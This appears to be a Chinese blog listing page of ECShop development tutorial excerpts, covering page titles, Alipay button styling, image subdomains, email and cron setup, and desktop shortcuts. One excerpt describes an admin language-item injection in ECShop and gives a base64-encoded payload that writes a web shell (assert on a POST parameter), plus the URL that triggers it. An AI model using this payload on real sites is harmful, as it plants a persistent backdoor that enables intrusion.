作者文章

fwq

FWQ
网站开发
ecshop文章分类页获取当前分类标题优化
 网上有很多文章介绍了产品分类与产品页面,但是没说到文章分类页面,那如何在ecshop文章分类页显示当前分类标题呢? 比如,把 <title>{$page_title}</title> 想把文章里的标题 只换成 文章分类名称加店铺显示。好模板提供该教程:   1. 打开ecshop程序根目录下的article_cat.php,在80行 代码:        $meta = $db->getRow(“SELECT keywords, cat_desc FROM ” . $ecs->table(‘article_cat’) . ” WHERE cat_id = ‘$cat_id'”);   修改成…
2025-04-23 阅读全文 →
FWQ
网站开发
修改ecshop支付宝支付按钮样式
很多ecshop客户想要修改支付宝支付按钮的样式,默认的样式比较灰暗,下面就教大家修改支付宝支付按钮的样式。 默认支付宝支付按钮的样式是这样的: 下面我们来修改一下 1.在includes/modules/payment路径下找到alipay.php文件,并打开 大约在196行,找到 在里面添加一句 1 class=”alipay_anniu” 即 2.在style.css文件的最下面添加以下代码,路径是themes/模版文件/style.css 1 2 3 4 5 6 7 8 9 10 11 12 13 .alipay_anniu { width: 220px;/*按钮宽度*/ height: 40px;/*按钮高度*/ border: 2px solid #EBEBEB;/*按钮边框*/ background: none repeat scroll 0 0 #669900;/*按钮背景颜色*/…
2025-04-23 阅读全文 →
FWQ
网站开发
把ecshop中商品图分离到子域名以加速显示
在使用ecshop做商店时,大量的图片是避免不了的。为了解决同域下浏览器下载的线程的限制,我们有必要把ecshop里上传的图片分离到另一个域名下。当前我采用产品ID的最后一个小数除以2取整来划分不同的子域来,这样在页面被浏览时加载图片可以更多同步线程下载到浏览器端以加速显示。   下面是我修改ecshop的方法:   在/includes/lib_common.php中大约2774行,找到下面代码,增加红色部位即可。   function get_image_path($goods_id, $image=”, $thumb=false, $call=’goods’, $del=false){     $url = empty($image) ? $GLOBALS[‘_CFG’][‘no_picture’] : $image;     $url = str_replace(‘images/’,’http://pic’.floor(substr($goods_id,-1)/2).’.ldhost.cn/’,$url); // 增加的…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop商品详情页一会显示一会不显示处理方法
 Ecshop 二次开发的时候碰到个奇怪的问题,那就是在购买商品提交订单之后查看商品详情页面发现商品的详情参数都不见了,只剩下商品名称,其他的商品货号,上架时 间,本店售价都不显示了。然后进后台管理中心清空缓存后又恢复正常,再次提交订单又不显示了,无限纠结外加蛋疼中。 初 步预测原因出在goods.dwt或者flow.dwt文件中。只能挨着试试了,恢复默认模板之后发现与flow.dwt无关,而回复goods.dwt 的默认模板之后再次提交订单发现正常无问题了。然后就从goods.dwt开刀。经过反复测试,最终发现问题出在自己左侧自定义的top商品和hot商品 这里。经过仔细思考之后发觉最可能的原因就是这部分的代码和中间商品详情部分的代码冲突了。 果然如此,其实是左侧的代码中使用的smarty实例化的对象中,item都使用了goods这个参数,结果可想而知,左侧是一个数组,右侧是一个实际数据,当然也就无法输出了。解决方法很简单,那就修改左侧的item名称即可。例如这里我的修改方法为,将 <ul class="topsale-list" id="c101"> <!-- {foreach name=best_goods from=$best_goods item=goods}--> {if $smarty.foreach.best_goods.index <= 4} <li> <a href="{$goods.url}"> ... 修改为 <ul class="topsale-list" id="c101">…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop后台语言项执行漏洞详解
该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。 以下是详细分析 1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息” 为什么要搜索“用户信息”,还可以搜索其它的吗? 答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以 2.添加如下后门,将用户信息改为 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 即生成一个JoyChou.php文件,内容为(可以过安全狗的一句话哦): <?php assert( $_POST[x] ); ?> 3.访问user.php即可产生shell(不用注册登录账户) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
2025-04-23 阅读全文 →
FWQ
网站开发
在ECSHOP首页每个商品下显示已销售量
问题:想在首页每个商品下显示“已销售XX个”,该如何操作呢? 教程: 第1步:打开文件  includes/lib_goods.php 在该文件的末尾添加如下代码片段 function get_buy_sum($goods_id) { $sql = “select sum(goods_number) from ” . $GLOBALS[‘ecs’]->table(‘order_goods’) . ” AS g ,”.$GLOBALS[‘ecs’]->table(‘order_info’) . ” AS o WHERE o.order_id=g.order_id and…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop邮件服务项设置sina邮箱
在ecshop上配置sina邮箱发送邮件,首页进入ecshop 后台:系统设置–邮件服务器设置   如图,填写上信息后,单机确定 。    (注:邮件发送账号和邮件回复账号地址填写同一个sina邮箱。 账号密码为邮箱密码) 邮件地址:(填写一个真实存在的测试邮箱) 单机:发送测试邮件。 如果提示成功,说明设置成功!   如果没有提示成功。需要开发smtp服务,如图进入sina邮箱      (右上角设置) 保存后 回到邮件服务项测试,此时发送邮件成功!
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop计划任务详细介绍教程
 计划任务,就是在适当的时候,让计算机执行适当地程序,以满足用户的需求。 计划任务分系统计划任务和网站计划任务。系统计划任务包括 Windows 操作系统计划任务和 Linux 操作系统计划任务。 在 Linux 中,我们经常用到 crond 服务器来完成这项工作。cron 服务器可以根据配置文件约定的时间来执行特定的作务。比如我们可以在配置文件中约定每天早上4点,对 httpd 服务器重新启动,这就是一个计划任务;windows 的计划任务我们大家都很熟悉。下面要介绍的是网站计划任务(访问触发)。 ECShop 系统的计划任务的安装使用情况。 ECShop 系统的计划任务的安装使用分两步完成: 一、安装自动上下架计划任务。 二、在确定商品、文章自动发布 页面进行具体的设置。 下面就开始介绍 ECShop 网站计划任务的详细的设置过程。 一、安装自动上下架计划任务 A.进入后台管理中心 -> 系统设置 -> 计划任务设置页面,见图 1 所示: 选择安装自动处理,进入自动处理商品的自动上、下架和文章的发布、取消设置页面。见图…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop网页加上快捷方式保存到桌面图标
本插件完成用户点击后在线生成ECSHOP网站的桌面方便方式图标。用户下载后,今后能够直接双击图标拜访该网站。运用本插件应当能够进步用户体会,并带来必定的回头客。虽然是一个网站小功用,但增加ECSHOP用户再次回访。 用户点击“点击将社区保留在桌面”,将弹出一个下载对话框,断定后。将在电脑桌面上完成生成你网站的方便方式图标,就像咱们手动在桌面创立相同。 那么怎么想让ECSHOP网站中有个连接,点击连接后保留指定页面的方便方式至客户端电脑中。 其生成原理很简单,即将url方便方式的内容强行输出为附件,当拜访时即下载到了一个指定的网站方便方式。但是这个功用的作用却可能是很大的,你能够设置其默许图标比方我的电脑、网上邻居、文件夹等相同,并且由于它是正常的方便方式,不会被杀毒软件等查杀,因而也常被一些黑客行动所运用,以带来无穷的实在拜访流量。 ​ 这篇文章详解ECSHOP怎么完成将网址保留到桌面,设为桌面图标的代码,示例如下: 将以上代码新建一个PHP文件保留,如:shortcut.php <?php $Shortcut = “[InternetShortcut] URL=http://www.ldhost.cn IDList= IconFile=C:\Windows\system32\SHELL32.dll IconIndex=43 [{000214A0-0000-0000-C000-000000000046}] Prop3=19,2 “; //注意修改上面的网址 $ua = $_SERVER[“HTTP_USER_AGENT”]; $filename = “EdaIT.CN.url”; //生成快捷文件的名称 $encoded_filename =…
2025-04-23 阅读全文 →